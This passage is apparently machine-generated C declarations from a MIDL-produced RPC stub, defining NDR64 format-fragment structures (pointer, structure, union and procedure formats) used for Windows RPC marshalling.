__midl_frag227;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag225_t;\nextern const __midl_frag225_t __midl_frag225;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag224_t;\nextern const __midl_frag224_t __midl_frag224;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag2;\n        struct _NDR64_MEMPAD_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_MEMPAD_FORMAT frag8;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag9;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag10;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag11;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag12;\n        struct _NDR64_MEMPAD_FORMAT frag13;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag14;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag15;\n    } frag2;\n}\n__midl_frag218_t;\nextern const __midl_frag218_t __midl_frag218;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n}\n__midl_frag216_t;\nextern const __midl_frag216_t __midl_frag216;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag2;\n        struct _NDR64_MEMPAD_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_MEMPAD_FORMAT frag6;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n    } frag2;\n}\n__midl_frag213_t;\nextern const __midl_frag213_t __midl_frag213;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n}\n__midl_frag211_t;\nextern const __midl_frag211_t __midl_frag211;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag209_t;\nextern const __midl_frag209_t __midl_frag209;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag205_t;\nextern const __midl_frag205_t __midl_frag205;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        NDR64_FORMAT_CHAR frag4;\n    } frag2;\n}\n__midl_frag200_t;\nextern const __midl_frag200_t __midl_frag200;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n    struct _NDR64_POINTER_FORMAT frag3;\n    struct _NDR64_POINTER_FORMAT frag4;\n    struct _NDR64_POINTER_FORMAT frag5;\n}\n__midl_frag198_t;\nextern const __midl_frag198_t __midl_frag198;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag196_t;\nextern const __midl_frag196_t __midl_frag196;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag195_t;\nextern const __midl_frag195_t __midl_frag195;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag2;\n        struct _NDR64_MEMPAD_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_MEMPAD_FORMAT frag8;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag9;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag10;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag11;\n        struct _NDR64_MEMPAD_FORMAT frag12;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag13;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag14;\n    } frag2;\n}\n__midl_frag190_t;\nextern const __midl_frag190_t __midl_frag190;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n    struct _NDR64_POINTER_FORMAT frag3;\n    struct _NDR64_POINTER_FORMAT frag4;\n}\n__midl_frag188_t;\nextern const __midl_frag188_t __midl_frag188;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag2;\n        struct _NDR64_MEMPAD_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_MEMPAD_FORMAT frag8;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag9;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag10;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag11;\n    } frag2;\n}\n__midl_frag183_t;\nextern const __midl_frag183_t __midl_frag183;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag2;\n        struct _NDR64_MEMPAD_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag178_t;\nextern const __midl_frag178_t __midl_frag178;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    struct _NDR64_UNION_ARM frag4;\n    struct _NDR64_UNION_ARM frag5;\n    struct _NDR64_UNION_ARM frag6;\n    struct _NDR64_UNION_ARM frag7;\n    struct _NDR64_UNION_ARM frag8;\n    struct _NDR64_UNION_ARM frag9;\n    struct _NDR64_UNION_ARM frag10;\n    struct _NDR64_UNION_ARM frag11;\n    struct _NDR64_UNION_ARM frag12;\n    NDR64_UINT32 frag13;\n}\n__midl_frag172_t;\nextern const __midl_frag172_t __midl_frag172;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag171_t;\nextern const __midl_frag171_t __midl_frag171;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n}\n__midl_frag167_t;\nextern const __midl_frag167_t __midl_frag167;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag159_t;\nextern const __midl_frag159_t __midl_frag159;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag152_t;\nextern const __midl_frag152_t __midl_frag152;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        struct _NDR64_NO_REPEAT_FORMAT frag4;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5;\n        struct _NDR64_POINTER_FORMAT frag6;\n        struct _NDR64_NO_REPEAT_FORMAT frag7;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag8;\n        struct _NDR64_POINTER_FORMAT frag9;\n        struct _NDR64_NO_REPEAT_FORMAT frag10;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag11;\n        struct _NDR64_POINTER_FORMAT frag12;\n        NDR64_FORMAT_CHAR frag13;\n    } frag2;\n}\n__midl_frag147_t;\nextern const __midl_frag147_t __midl_frag147;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_REPEAT_FORMAT frag1;\n        struct \n        {\n            struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1;\n            struct _NDR64_POINTER_FORMAT frag2;\n            struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag3;\n            struct _NDR64_POINTER_FORMAT frag4;\n            struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5;\n            struct _NDR64_POINTER_FORMAT frag6;\n            struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag7;\n            struct _NDR64_POINTER_FORMAT frag8;\n        } frag2;\n        NDR64_FORMAT_CHAR frag3;\n    } frag2;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag3;\n}\n__midl_frag141_t;\nextern const __midl_frag141_t __midl_frag141;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag140_t;\nextern const __midl_frag140_t __midl_frag140;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag139_t;\nextern const __midl_frag139_t __midl_frag139;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag138_t;\nextern const __midl_frag138_t __midl_frag138;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        struct _NDR64_NO_REPEAT_FORMAT frag4;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5;\n        struct _NDR64_POINTER_FORMAT frag6;\n        NDR64_FORMAT_CHAR frag7;\n    } frag2;\n}\n__midl_frag135_t;\nextern const __midl_frag135_t __midl_frag135;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_REPEAT_FORMAT frag1;\n        struct \n        {\n            struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1;\n            struct _NDR64_POINTER_FORMAT frag2;\n            struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag3;\n            struct _NDR64_POINTER_FORMAT frag4;\n        } frag2;\n        NDR64_FORMAT_CHAR frag3;\n    } frag2;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag3;\n}\n__midl_frag131_t;\nextern const __midl_frag131_t __midl_frag131;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag130_t;\nextern const __midl_frag130_t __midl_frag130;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag129_t;\nextern const __midl_frag129_t __midl_frag129;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag128_t;\nextern const __midl_frag128_t __midl_frag128;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        struct _NDR64_NO_REPEAT_FORMAT frag4;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5;\n        struct _NDR64_POINTER_FORMAT frag6;\n        struct _NDR64_NO_REPEAT_FORMAT frag7;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag8;\n        struct _NDR64_POINTER_FORMAT frag9;\n        NDR64_FORMAT_CHAR frag10;\n    } frag2;\n}\n__midl_frag124_t;\nextern const __midl_frag124_t __midl_frag124;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_REPEAT_FORMAT frag1;\n        struct \n        {\n            struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1;\n            struct _NDR64_POINTER_FORMAT frag2;\n            struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag3;\n            struct _NDR64_POINTER_FORMAT frag4;\n            struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5;\n            struct _NDR64_POINTER_FORMAT frag6;\n        } frag2;\n        NDR64_FORMAT_CHAR frag3;\n    } frag2;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag3;\n}\n__midl_frag119_t;\nextern const __midl_frag119_t __midl_frag119;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag118_t;\nextern const __midl_frag118_t __midl_frag118;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag117_t;\nextern const __midl_frag117_t __midl_frag117;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag116_t;\nextern const __midl_frag116_t __midl_frag116;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        struct _NDR64_NO_REPEAT_FORMAT frag4;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5;\n        struct _NDR64_POINTER_FORMAT frag6;\n        NDR64_FORMAT_CHAR frag7;\n    } frag2;\n}\n__midl_frag113_t;\nextern const __midl_frag113_t __midl_frag113;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_REPEAT_FORMAT frag1;\n        struct \n        {\n            struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1;\n            struct _NDR64_POINTER_FORMAT frag2;\n            struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag3;\n            struct _NDR64_POINTER_FORMAT frag4;\n        } frag2;\n        NDR64_FORMAT_CHAR frag3;\n    } frag2;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag3;\n}\n__midl_frag109_t;\nextern const __midl_frag109_t __midl_frag109;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag108_t;\nextern const __midl_frag108_t __midl_frag108;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag107_t;\nextern const __midl_frag107_t __midl_frag107;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag106_t;\nextern const __midl_frag106_t __midl_frag106;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_REPEAT_FORMAT frag1;\n        struct \n        {\n            struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1;\n            struct _NDR64_POINTER_FORMAT frag2;\n        } frag2;\n        NDR64_FORMAT_CHAR frag3;\n    } frag2;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag3;\n}\n__midl_frag101_t;\nextern const __midl_frag101_t __midl_frag101;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag100_t;\nextern const __midl_frag100_t __midl_frag100;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag99_t;\nextern const __midl_frag99_t __midl_frag99;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    struct _NDR64_UNION_ARM frag4;\n    struct _NDR64_UNION_ARM frag5;\n    struct _NDR64_UNION_ARM frag6;\n    struct _NDR64_UNION_ARM frag7;\n    NDR64_UINT32 frag8;\n}\n__midl_frag97_t;\nextern const __midl_frag97_t __midl_frag97;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag96_t;\nextern const __midl_frag96_t __midl_frag96;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag95_t;\nextern const __midl_frag95_t __midl_frag95;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n    struct _NDR64_PARAM_FORMAT frag10;\n}\n__midl_frag88_t;\nextern const __midl_frag88_t __midl_frag88;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n}\n__midl_frag83_t;\nextern const __midl_frag83_t __midl_frag83;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag81_t;\nextern const __midl_frag81_t __midl_frag81;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag80_t;\nextern const __midl_frag80_t __midl_frag80;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    struct _NDR64_UNION_ARM frag4;\n    NDR64_UINT32 frag5;\n}\n__midl_frag78_t;\nextern const __midl_frag78_t __midl_frag78;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag77_t;\nextern const __midl_frag77_t __midl_frag77;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n}\n__midl_frag72_t;\nextern const __midl_frag72_t __midl_frag72;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag65_t;\nextern const __midl_frag65_t __midl_frag65;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n}\n__midl_frag64_t;\nextern const __midl_frag64_t __midl_frag64;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_MEMPAD_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n    } frag2;\n}\n__midl_frag61_t;\nextern const __midl_frag61_t __midl_frag61;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT frag1;\n}\n__midl_frag59_t;\nextern const __midl_frag59_t __midl_frag59;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag58_t;\nextern const __midl_frag58_t __midl_frag58;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag57_t;\nextern const __midl_frag57_t __midl_frag57;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag56_t;\nextern const __midl_frag56_t __midl_frag56;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag53_t;\nextern const __midl_frag53_t __midl_frag53;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag52_t;\nextern const __midl_frag52_t __midl_frag52;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag51_t;\nextern const __midl_frag51_t __midl_frag51;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    struct _NDR64_UNION_ARM frag4;\n    NDR64_UINT32 frag5;\n}\n__midl_frag49_t;\nextern const __midl_frag49_t __midl_frag49;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag48_t;\nextern const __midl_frag48_t __midl_frag48;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag47_t;\nextern const __midl_frag47_t __midl_frag47;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n    struct _NDR64_PARAM_FORMAT frag10;\n}\n__midl_frag40_t;\nextern const __midl_frag40_t __midl_frag40;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag33_t;\nextern const __midl_frag33_t __midl_frag33;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_MEMPAD_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag9;\n    } frag2;\n}\n__midl_frag29_t;\nextern const __midl_frag29_t __midl_frag29;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT frag1;\n}\n__midl_frag27_t;\nextern const __midl_frag27_t __midl_frag27;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag26_t;\nextern const __midl_frag26_t __midl_frag26;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag25_t;\nextern const __midl_frag25_t __midl_frag25;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    struct _NDR64_UNION_ARM frag4;\n    NDR64_UINT32 frag5;\n}\n__midl_frag17_t;\nextern const __midl_frag17_t __midl_frag17;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag16_t;\nextern const __midl_frag16_t __midl_frag16;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag15_t;\nextern const __midl_frag15_t __midl_frag15;\n\ntypedef 